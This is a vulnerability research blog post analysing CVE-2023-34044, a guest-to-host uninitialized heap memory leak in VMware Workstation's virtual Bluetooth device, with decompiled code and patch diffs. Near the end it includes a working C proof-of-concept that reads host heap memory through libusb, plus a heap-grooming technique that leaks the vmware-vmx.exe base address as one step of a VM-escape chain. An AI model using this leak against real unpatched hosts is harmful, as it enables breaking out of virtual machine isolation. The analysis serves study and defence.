Chaining N-days to Compromise All: Part 4 — VMware Workstation Information leakage

Theori Vulnerability Research
Theori BLOG
Published in
11 min readApr 18, 2024

--

This blog post is the fourth series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we get the critical information in VMware process running on the host from the guest.

The vulnerability is CVE-2023–34044 found by Theori(@pr0ln), which is a variant of CVE-2023–20870 demonstrated by @starlabs_sg in Pwn2own 2023 Vancouver. This vulnerability has been patched in October 2023 and Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since October 2023.

Please note that most of the explanations are based on the VMware-workstation-full-17.0.2-21581411.exe installation file, and most of the symbols are identified by reversing, so they may be incorrect.

Virtual Bluetooth Device

VMware Workstation provides several methods for the guest to access devices connected to the host. If a bluetooth receiver exists and is enabled on the host, VMware Workstation automatically adds a USB-based virtual bluetooth device under the guest’s virtual USB controller.

The settings related to the Virtual bluetooth(VBluetooth) device feature can be found in Setting - USB Controller - Share bluetooth device with the virtual machine and it is enabled by default. The above settings can also be found in the guest's configuration file via vmx.

usb.vbluetooth.startConnected = "TRUE"

If the guest operating system is Linux, the VBluetooth can be found using the lsusb command.

$ lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 004: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter // <--- VBluetooth
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

If the guest operating system is Windows, the VBluetooth device can be found using the pnputil command or the device manager utility.

cmd> pnputil /enum-devices
Instance ID: USB\VID_0E0F&PID_0008\000650268328
Device Description: Generic Bluetooth Adapter
Class Name: Bluetooth
Class GUID: {e0cbf06c-cd8b-4647-bb8a-263b43f0f974}
Manufacturer Name: GenericAdapter
Status: Started
Driver Name: bth.inf

Vulnerabilities CVE-2023–34044 and CVE-2023–20869, which we will cover in our next post, exist in Vbluetooth device implementation.

Allocating USB Request Block(URB) of VBluetooth device

Since VBluetooth device is implemented and provided as a USB type device, the guest OS can communicate with it using USB Request Block(URB). URB is classified into Control URB for controlling devices, reading/writing settings, and Bulk URB for sending/receiving data depending on purposes.

The Control URB has the following structure.

struct urb_control{
BYTE bmRequestType;
BYTE bRequest;
WORD wValue;
WORD wIndex;
WORD wLength;
char data[]
}

The bmRequestType is the result of the OR operation between endpoint_direction and request_type. The endpoint_direction is defined whether the URB is reading or writing data from the device and the request_type defines the type of request. For example, if bmRequestType is ENDPOINT_IN | REQUEST_TYPE_VENDOR, this URB can read configuration data values specifically added by the vendor.

enum endpoint_direction {
ENDPOINT_IN = 0x80,
ENDPOINT_OUT = 0x00,
};

The bRequest defines the type of command, and wValue, wIndex, and data are used as arguments for the command.

enum request_type {
REQUEST_TYPE_STANDARD =(0x00<<5),
REQUEST_TYPE_CLASS =(0x01<<5),
REQUEST_TYPE_VENDOR =(0x02<<5),
REQUEST_TYPE_RESERVED =(0x03<<5),
};

When the USB controller receives a URB, it calls the VUsb_NewUrb function to create a vurb type object. The vurb object stores the data of the received URB and remains until the URB is processed on a virtual or physical USB device. Because the structure of the vurb object can vary depends on the type of USB device, the VUsb_NewUrb function internally calls the device's new_urb handler to create the object. The argument length, which determines the size of the allocation, is determined by the total size of the received URB (urb_control(8) + wLength).

void __fastcall UHCI_UrbHandler(__int64 a1, VUsbPipe *a2){ // sub_1401F6860
// ...
length = nbytes + *(unsigned __int16 *)&urb_data.wlength;
urb = VUsb_NewUrb(v2, 0i64, (unsigned int)length);
urb->bufferLen = length;
//...
}

vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length)
{ // sub_14074EA70
// ...
urb_size = length;
// ...
if ( get_dev_max_urb > 0x9000 )
max_urbsize = get_dev_max_urb;
if ( urb_size > max_urbsize )
Panic("UsbDev: URB greater than the max allowed URB size.\n");
_mm_lfence();
new_urb = (vurb *)urbpipe->dev->be->op->NewUrb(urbpipe->dev, num_packets, urb_size);
new_urb->status = -1;
new_urb->packets = new_urb->_packets;
new_urb->curdata = new_urb->data;
new_urb->streamID = 0;
// ...
return new_urb;
}

The allocation of URB objects for VBluetooth device is handled by the VBluetoothHCI_NewUrb function. The URB object stores device, pipe, status information and the address of the isolated URB data. The URB data is allocated as a type buffer stream called RBuf.

vurb *__fastcall VBluetoothHCI_NewUrb(VUsbDevice_Bluetooth *dev, unsigned int num_pkts, unsigned int urb_size)
{ // sub_140740EA0
vurbWrapper *wrapper; // rsi
_QWORD *urbdata; // rax

wrapper = (vurbWrapper *)UtilSafeMalloc0(12i64 * num_pkts + 0xA0);// urb wrapper a2=0
wrapper->urb.be = (UrbBackEnd *)&unk_14132C238;
urbdata = VBluetoothHCI_RBufNew(dev->add.hci, urb_size);
wrapper->rbuf = (__int64)urbdata;
wrapper->urb.data = (unsigned __int8 *)RBuf_MutableData((__int64)urbdata);
return &wrapper->urb;
}

The VBluetoothHCI_RBufNew function calls the RBuf_New function, and RBuf_New internally calls the UtilSafeMalloc0 function to allocate a buffer of size a2 + 0x18. The UtilSafeMalloc0 function internally calls the malloc function. It is important to note that the size of the allocated buffer is determined by the guest, and that buffers allocated with malloc are not initialized.

RBuf *__fastcall VBluetoothHCI_RBufNew(__int64 a1, unsigned int a2)
{// sub_14081BF70
return RBuf_New(*(_DWORD **)(a1 + 616), a2);
}

RBuf *__fastcall RBuf_New(_DWORD *a1, unsigned int a2)
{// sub_1408195A0
// ...
buf = (RBuf *)UtilSafeMalloc0(a2 + 0x18i64);
buf->refcnt = 0;
*(_QWORD *)&buf->refcnt = (unsigned __int64)(a2 & 0xFFFFFF) << 16;// length
buf->field_8 = 0i64;
buf->qword10 = a1;
// ....
return buf;
}

It then copies the URB data received from guest into the allocated RBuf. If the direction of the URB is ENDPOINT_IN, the copy size is urb_control(8), resulting in a buffer of size wLength that is still uninitialized.

void __fastcall sub_1401F6860(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
// ...
v20 = urb->curdata;
if ( v30 == 1 )
{
memcpy(v20, Src, (int)v14); // v14 == urb_control(8)
}
else
{
_mm_lfence();
PhysMemReadSlow(&v29, 0i64, (int)v14, (char *)v20);
}
urb->curdata += (int)v14;
goto LABEL_15;
}
// ...
}

Submitting USB Request Block(URB) of VBluetooth device.(CVE-2023–20870)

Each device has a different submit function because they handle URB submit differently. URB submission for Vbluetooth device is handled by the VBluetoothHCI_SubmitUrb function. The submit function processes the URB internally or passes it to an external device.

urb->actualLen is initialized to the value of urb->bufferLen, which is a guest controllable value, and this value is then used as the response data size to the guest. Until VMware Workstation 17.0.1, the value of actualLen was not changed except by the VUsbDevice_OpSubmitNonReqCtl. As a result, actualLen was always equal to bufferLen.

__int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb)
{// sub_140740F40
pipe = urb->pipe;
bufferLen = urb->bufferLen;
// ...
urb->status = 0;
urb->actualLen = bufferLen;
endptAddr = pipe->endptAddr;
if ( endptAddr ) {/**/} // Process Non Control URB
if ( (data->bmRequestType & 0x60) == 0x20 ) // REQUEST_TYPE_CLASS
{
sub_140819580(rbuf_1);
rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);
endpoint = 0;
LABEL_8:
rbuf = rbuf_slice;
VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);
RBuf_DecRef(rbuf);
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl(urb) )
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);

urb->actualLen = 8; // [1] Patch of CVE-2023-20870

if ( (data->bmRequestType & 0x60) != 0 )
goto LABEL_24;
v15 = data->bRequest; // LIBUSB_REQUEST_TYPE_STANDARD
if ( v15 == 9 )
{
if ( data->wValue <= 1u )
{
change_config((__int64)urb->pipe->dev, data->wValue);
if ( data->wValue )
VBluetoothHCI_Reset(dev_1);
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
goto LABEL_23;
}
if ( v15 != 11 )
{
LABEL_24: // LIBUSB_REQUEST_TYPE_VENDOR
urb->status = 4;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
v16 = data->wIndex;
if ( !v16 )
{
if ( data->wValue )
urb->status = 3;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( v16 != 1 || data->wValue >= 6u )
LABEL_23:
urb->status = 3;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}

The processed URB is returned to the guest and cleaned up by the vusbCompleteUrb handler. The vusbCompleteUrb handler internally calls the UHCI_UrbResponse function, which then calls PhysMem_CopyToMemory to copy the urb data of size actualLen to the guest's physical memory.

char __fastcall UHCI_UrbResponse(__int64 a1, vurb *a2) { // sub_1401F77A0 
// ....
v11 = ((v10 >> 21) + 1) & 0x7FF;
actualLen = v11;
if ( v11 > urb->actualLen )
actualLen = urb->actualLen;
if ( actualLen )
{
if ( (_BYTE)v10 == 105 )
{
v13 = *((unsigned int *)v8 + 7);
if ( !*((_DWORD *)v8 + 7) || !PhysMem_CopyToMemory((unsigned int)v13, (char *)urb->curdata, actualLen, 0, 6) )
{
Warning("UHCI: Bad %s pointer %#I64x\n", "TDBuf", v13);
*(_DWORD *)(a1 + 1640) = 160;
}
}
}

In the VMware Workstation 17.0.2 patch, the actualLen of unprocessed vurb objects in VUsbDevice_OpSubmitNonReqCtl was set to 8 to prevent the passing of uninitialized data to the guest[1].

Root cause of CVE-2023–34044

Experienced security researchers may have been curious about the VMware patch mentioned in the previous part. The simplest way to fix the uninitialized Heap bug is to either initialize memory after allocating it, or use an embedded calloc function that does the initialization itself. However, VMware did not do this, and as a result, the vulnerability is not completely fixed.

Most readers will have already recognized the problem, but let’s see what happens when the request type of the URB is REQUEST_TYPE_CLASS. It slices the buffer by calling the RBuf_Slice function and passes the sliced buffer as an argument to the VBluetoothHCI_PacketOut function. Note that URB is not passed as an argument, which ensures that actualLen does not change.

__int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb)
{// sub_140740F40
pipe = urb->pipe;
bufferLen = urb->bufferLen;
// ...
urb->status = 0;
urb->actualLen = bufferLen;
endptAddr = pipe->endptAddr;
if ( endptAddr ) {/**/} // Process Non Control URB
if ( (data->bmRequestType & 0x60) == 0x20 ) // REQUEST_TYPE_CLASS
{
sub_140819580(rbuf_1);
rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);
endpoint = 0;
LABEL_8:
rbuf = rbuf_slice;
VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);
RBuf_DecRef(rbuf);
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl(urb) )
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);

urb->actualLen = 8; // Patch of CVE-2023-20870
// ....
}

The VBluetoothHCI_PacketOut function passes the Control URB to the bluetooth device connected to the host. Since a Control URB does not specify a specific endpoint, it calls VBluetoothHCI_PacketOut_Control. The VBluetoothHCI_PacketOut_Control function validates the sliced rbuf passed as an argument, if the result of rbuf_length - 3 is greater than 255, it immediately returns with a warning. In other words, if the size of wlength is greater than 258, the URB data remains uninitialized.

void __fastcall VBluetoothHCI_PacketOut(VUsbDevice *dev, int endpoint, _QWORD *rbuf)
{// sub_14081BDA0
if ( endpoint ) {/**/}
else
{
VBluetoothHCI_PacketOut_Control((int64 *)dev, rbuf);
}
}

void __fastcall VBluetoothHCI_PacketOut_Control(VUsbDevice *dev, RBuf *rbuf)
{// sub_14081AFF0
// ....
rbuf_length = RBuf_Length(rbuf);
rbuf_length_1 = rbuf_length;
if ( rbuf_length - 3 > 255 )
{
Warning("Bluetooth-HCI: ERROR, Bad command packet size (%d)\n", rbuf_length);
return;
}
// ....p

The Patch for CVE-2023–34044

The following patch was identified by diffing VMware Workstation 17.0.2 and VMware Workstation 17.5.0. VMware still did not remove the root cause of the vulnerability, but instead patched it by setting the actualLen to 8 when the direction of the URB is ENDPOINT_IN and the request type is REQUEST_TYPE_CLASS.

__int64 __fastcall VBluetoothHCI_SubmitUrb(VUsbURB *urb)  // sub_1407A22A0 of VMWS 17.5.0
{
// ...
VUsbPipe = urb->VUsbPipe;
total_urb_len = urb->total_urb_len;
v4 = urb[-1].field_88;
urb_data = (struct_urb_data *)urb->urb_data;
v6 = *(_QWORD *)(VUsbPipe + 32);
v7 = *(_QWORD *)(v6 + 608);
urb->status = 0;
urb->urb_actualsize = total_urb_len;
endpt = *(_DWORD *)(VUsbPipe + 12);
if ( endpt )
{
// ...
}
if ( (urb_data->bmRequestType & VUSB_REQ_MASK) == REQUEST_TYPE_CLASS)
{
+ if(urb_data->bmRequestType < 0 ) // ENDPOINT_IN
+ urb->actualLen = 8;
// ...
return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl((__int64)urb) )
return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);
urb->urb_actualsize = 8;
if ( (urb_data->bmRequestType & 0x60) != 0 )
goto LABEL_24;
bRequest = urb_data->bRequest;
if ( bRequest == VUSB_REQ_SET_CONFIGURATION )

The unitialized issue with URB data has been completely removed from VMware Workstation 17.5.1 and ESXi 8.0U2sb-23305545. The following patche was identified by diffing VMware Workstation 17.5.0 and VMware Workstation 17.5.1. The patch adds a function call to initialize data to 0 after allocating a vurb object in the controller.

vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length) 
{ // sub_1407B00D0 of VWWS 17.5.0
urb = pipe->dev->be->op->NewUrb(pipe->dev, n_pakcet, bufferlen_1);
urb_data = urb->data;
urb->packets = urb->_packets;
urb->curdata = &urb_data->bmRequestType;
urb->status = -1;
urb->streamID = 0;
urb->pipe = pipe;
*&urb->numPackets = 0i64;
urb->allocLen = bufferlen_1;
*&urb->bufferLen = 0i64;
urb->stage = 0;
urb->refCount = 1;
type = pipe->type;
urb->type = type;
urb->endptAddr = pipe->endptAddr;
urb->bePtr = pipe->dev->be;
urb->_anon_0.statusPid = 0;
urb->hcpriv = 0i64;
+ if ( !type && urb_data )
+ memset(urb_data, 0, bufferlen_1);
urb->pipeLink.next = &urb->pipeLink;

Exploitation

In the POC, we will demonstrate how to read uninitialized URB data from the guest.

To send arbitrary URBs to USB devices, you can write your own filter driver or use a libraries. One of the libraries,libusb-win32 includes a signed driver and library that make it easy to generate URBs and send them to the target device.

The following code sends a URB with type USB_TYPE_CLASS | USB_ENDPOINT_IN to a VBluetooth device, triggering the vulnerability and reading uninitialized heap memory of the host. Since the allocation size of URB data is urb_control(8) + wLength + 0x18, we need to set the wLength value to 0xfe0 to read the uninitialized data in 0x1000 bytes chunk. The request and other arguments are set to arbitrary value as they have nothing to do with the vulnerability. After the usb_control_msg function is successfully executed, outbuf will contain the uninitialized heap data of the host.

#include <lusb0_usb.h>

usb_dev_handle* open_dev(WORD VID, WORD UID){
struct usb_bus* bus;
struct usb_device* dev;

for (bus = usb_get_busses(); bus; bus = bus->next){
for (dev = bus->devices; dev; dev = dev->next){
if (dev->descriptor.idVendor == VID
&& dev->descriptor.idProduct == UID){
return usb_open(dev);
}
}
}
return NULL;
}

void readUnitMemory() {
usb_dev_handle* dev_mouse = NULL;
usb_dev_handle* dev_bt = NULL;
UINT64 vmx_base = 0;
int i, j;

char outbuf[0x1000];
memset(outbuf, 0, 0x1000);

usb_init(); /* initialize the library */
usb_find_busses(); /* find all busses */
usb_find_devices(); /* find all connected devices */

if ((dev_bt = open_dev(0x0E0F, 0x0008)) == NULL){
printf(" [!] Error opening bluetooth device: \n%s\n", usb_strerror());
return 0;
}

usb_control_msg(
dev_bt,
USB_TYPE_CLASS | USB_ENDPOINT_IN,
USB_REQ_GET_STATUS, 0, 0,
outbuf,
0xFE0, // 0x1000 - 0x18 - 8
1000);

usb_close(dev_bt);
}

To exploit the CVE-2023-20869 vulnerability, it is necessary to know the base address of the host process, vmware-vmx.exe. To allocate an heap memory with arbitrary size in vmware-vmx.exe process, we used the URB allocation function of the USB virtual mouse device.

Unlike the URB allocator for VBluetooth devices, the URB allocator for VUsbMouse and VUsbHub does not isolate the URB data, but stores it in the vurb object. The vurb object contains a data section address of vmware-vmx.exe, so if you can calculate the base address of vmware-vmx.exe from it.

vurb *__fastcall VUsb_NewUrbWithBuf(__int64 a1, unsigned int a2, unsigned int legnth)
{ // sub_1407593C0
__int64 v3; // rbx
vurb *new_urb; // rax

v3 = a2;
new_urb = (vurb *)UtilSafeMalloc0(v3 * 12 + legnth + 152i64);
new_urb->be = (UrbBackEnd *)&qword_14132C3B0; // data section address
new_urb->data = (unsigned __int8 *)&new_urb->_packets[v3];
return new_urb;
}

You can send a URB with a manipulated wLength to the VUsbMouse device, and when it is processed, you can create a freed arbitrarily sized heap chunk containing a data section address of vmware-vmx.exe. If you reassign the URB of the VBluetooth device to the freed heap chunk and read it through the vulnerability, you can read the address of vmware-vmx.exe.

More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at contacts@theori.io.

Conclusion

This post provided the analysis on CVE-2023–34044 which is exploited in our 1-day full chain demo.The next post will be about VMware Workstation guest-to-host code execution, CVE-2023–20869, which is exploited in Pwn2Own Vancouver 2023.

Reference

🔵 website: https://theori.io ✉️ vr@theori.io

--

--